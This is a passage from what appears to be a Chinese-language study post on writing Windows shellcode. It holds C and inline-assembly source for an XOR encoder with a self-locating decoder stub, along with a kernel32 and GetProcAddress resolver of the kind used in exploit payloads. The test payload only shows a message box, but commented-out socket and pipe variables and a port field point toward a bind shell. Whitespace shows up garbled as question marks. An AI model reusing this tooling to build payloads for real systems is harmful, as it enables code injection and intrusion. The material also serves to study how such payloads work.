???? ch=sc_buff[i]^Enc_key;
???? //对一些可能造成shellcode失效的字符进行替换
???? if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
???? {
??????? buff[k]='0';
??????? ++k;
??????? ch+=0x31;
???? }
???? //把编码过的shellcode放在DecryptSc代码后面
???? buff[k]=ch;
???? ++k;
? }
? //shellcode的总长度
? buff_len=k;
? //打印出shellcode
? PrintSc(buff,buff_len);
? //buff[buff_len]=0;
? //printf("%s",buff);
#ifdef DEBUG
? _asm{
????? lea eax,buff
????? jmp eax
????? ret
? }
#endif
??? return? 0;
}
//解码shellcode的代码
void? DecryptSc()
{
?????? __asm{
/////////////////////////
//定义开始标志
/////////////////////////
????????? PROC_BEGIN??? //C macro to begin proc
????????? jmp?? next
getEncCodeAddr:
????????? pop?? edi
????????? push? edi
????????? pop?? esi
????????? xor?? ecx,ecx
Decrypt_lop:
????????? lodsb
????????? cmp? al,cl
????????? jz?? shell
????????? cmp? al,0x30? //判断是否为特殊字符
????????? jz?? special_char_clean
store:?????
????????? xor? al,Enc_key
????????? stosb
????????? jmp? Decrypt_lop
special_char_clean:??
????????? lodsb
????????? sub al,0x31
????????? jmp store
next:????
????????? call? getEncCodeAddr
????????? //其余真正加密的shellcode代码会连接在此处
shell:???
/////////////////////////
//定义结束标志
/////////////////////////
????????? PROC_END????? //C macro to end proc
????????? }
}????????
//
//shellcode代码
//
void ShellCodes()
{
??? //API低址数组???
??? FARPROC???? API[API_num];
??? //自己获取的API地址
??? FARPROC???? GetProcAddr;
??? FARPROC??? LoadLib;
??? HANDLE????? hKrnl32;
??? HANDLE????? libhandle;
??? char??????? *ApiStr_addr,*p;
???
??? int???????? k;
??? u_short???? shellcodeport;
??? //测试用变量
??? char??????? *testAddr;
/*
??? STARTUPINFO siinfo;
??? SOCKET????? listenFD,clientFD;
??? struct????? sockaddr_in server;
??? int???????? iAddrSize = sizeof(server);
??? int???????? lBytesRead;
??? PROCESS_INFORMATION ProcessInformation;
??? HANDLE????? hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
??? SECURITY_ATTRIBUTES sa;
*/
_asm {
??????? jmp??? locate_addr0
getApiStr_addr:
??????? pop??? ApiStr_addr
??????? //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址
??????? //以后就可以方便地获取任何API的地址了
??????? //保护寄存器
??????? pushad
??? xor???? esi,esi
??????? lods??? dword ptr fs:[esi]
???????
Search_Krnl32_lop:
??????? inc???? eax
??????? je????? Krnl32_Base_Ok
??????? dec???? eax
??????? xchg??? esi,eax
??????? LODSD?
??????? jmp???? Search_Krnl32_lop
Krnl32_Base_Ok:
??????? LODSD??????????????????
??????????????????????????????? ;compare if PE_hdr
??????? xchg??? esi,eax
??? find_pe_header:
??????? dec???? esi
??????? xor???? si,si?????????? ;kernel32 is 64kb align
??????? mov???? eax,[esi]
??????? add???? ax,-'ZM'??????? ;??????
??????? jne???? find_pe_header
??????? mov???? edi,[esi+3ch]?? ;.e_lfanew???????
??????? mov???? eax,[esi+edi]
??????? add???? eax,-'EP'?????? ;anti heuristic change this if you are using MASM etc.????
??????? jne???? find_pe_header?
???????
??????? push???? esi
??????????????????????????????? ;esi=VA Kernel32.BASE
??????????????????????????????? ;edi=RVA K32.pehdr???????
??????? mov???? ebx,esi
??????? mov???? edi,[ebx+edi+78h]? ;peh.DataDirectory
???????
??????? push??? edi
??????? push??? esi
??????? mov???? eax,[ebx+edi+20h]? ;peexc.AddressOfNames????????????????
??????? mov???? edx,[ebx+edi+24h]? ;peexc.AddressOfNameOrdinals?????
??????? call??? __getProcAddr
??????? _emit 0x47
??????? _emit 0x65
??????? _emit 0x74
??????? _emit 0x50
??????? _emit 0x72
??????? _emit 0x6F
??????? _emit 0x63
??????? _emit 0x41
??????? _emit 0x64
??????? _emit 0x64
??????? _emit 0x72
??????? _emit 0x65
??????? _emit 0x73
??????? _emit 0x73
??????? _emit 0x0
??????? //db???? "GetProcAddress",0
__getProcAddr:
??????? pop???? edi
??????? mov???? ecx,15???????
??????? sub???? eax,4
next_:???????
??????? add???? eax,4
??????? add???? edi,ecx
??????? sub???? edi,15
??????? mov???? esi,[ebx+eax]
??????? add???? esi,ebx
??????? mov???? ecx,15
??????? repz??? cmpsb
??????? jnz???? next_
??????? pop???? esi
??????? pop???? edi
??????? sub???? eax,[ebx+edi+20h]????? ;peexc.AddressOfNames
??????? shr???? eax,1
??????? add???? edx,ebx
??????? movzx?? eax,word ptr [edx+eax]???????
??????? add???? esi,[ebx+edi+1ch]?????? ;peexc.AddressOfFunctions
??????? add???? ebx,[esi+eax*4]???????? ;ebx=Kernel32.GetProcAddress.addr
??????????????????????????????????????? ;use GetProcAddress and hModule to get other func
??????? pop???? esi???????????????????? ;esi=kernel32 Base
??????? mov???? [hKrnl32],esi?????????? //保存
??????? mov???? [GetProcAddr],ebx?????? //保存
??????? call??? _getLoadLib
??????? _emit 0x4C
??????? _emit 0x6F
??????? _emit 0x61
??????? _emit 0x64
??????? _emit 0x4C
??????? _emit 0x69
??????? _emit 0x62
??????? _emit 0x72
??????? _emit 0x61
??????? _emit 0x72
??????? _emit 0x79
??????? _emit 0x41
??????? _emit 0x0
??????? //db????? "LoadLibraryA",0
???????
_getLoadLib:
??????? push??? esi
??????? call??? ebx
??????? mov???? [LoadLib],eax
??????? //恢复寄存器,避免更多问题
??????? popad
??? }
?? //取出定义的端口地址
?? shellcodeport=*(u_short *)ApiStr_addr;
?? ApiStr_addr+=2;
??
?? ////////////////////////////////测试用
??? testAddr=ApiStr_addr;
?? ////////////////////////////////////
?? //利用GetProcAddress来获得shellcode中所用到的API地址
?? libhandle=hKrnl32;
?? p=ApiStr_addr;
?? k=0;
?? ///*
?? while ( *((unsigned int *)p) != 0)
?? {
?????? ApiStr_addr=p;
?????? while(*p) p++;?? //前进到下一个字符串
?????? if (*( (unsigned int *)(p-4))=='lld.')
?????? {
?????????? libhandle=(HANDLE)LoadLib(ApiStr_addr);? //若为DLL则加载DLL
?????? }
?????? else
?????? {
?????????? API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);
?????????? k++;
?????? }
??????
?????? ApiStr_addr=++p; //更新指针前进一个字符位置
??????
?? }
??
?? //*/
///////////////////////////////////////////////////////////////////////////
//???????? 下面就可以使用C语言来编写真正实现功能的shellcode了??????????????? //
///////////////////////////////////////////////////////////////////////////
//
//简单测试几个API看是否复合要求
//
API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);
///////////////////////////////////////////////////////////////////////////
//?????????????????????????? shellcode功能部分结束?????????????????????? //
///////////////////////////////////////////////////////////////////////////
//死循环
die:??
??? goto die;
__asm
??? {
locate_addr0:?
?????????? call getApiStr_addr????? //5 bytes
//真正的字符串数据要连接在此处
???
?
/////////////////////////
//定义结束标志
/////////////////////////
????????? PROC_END????? //C macro to end proc
??????
???? }
}
//
//显示打印生成的shellcode的C string格式代码
//
void PrintSc(char *lpBuff, int buffsize)
{
??? int i,j;
??? char *p;
??? char msg[4];
??? for(i=0;i??? {
??????? if((i%16)==0)
??????????? if(i!=0)
??????????????? printf("\"\n\"");
??????????? else
??????????????? printf("\"");
??????? sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);
??????? for( p = msg, j=0; j < 4; p++, j++ )
??????? {
??????????? if(isupper(*p))
??????????????? printf("%c", _tolower(*p));
??????????? else
??????????????? printf("%c", p[0]);
??????? }
??? }
??? printf("\";\n/*Shell total are %d bytes */\n",buffsize);
}
总结一下:
寻找kernel和api函数地址的定位
1.基本的:暴力获取地址空间;
2.从peb相关数据获取(参考:绿盟月刊44期scz的《通过teb/peb枚举当前进程空间中用户模块列表》)
3.搜索进程的seh链表获取kernel32.UnheadleExceptionFilter地址;
虽然这些对于我来说还是模棱两可的,但是俗话说:“温故而知新”,要经常温故阿!经常学习!
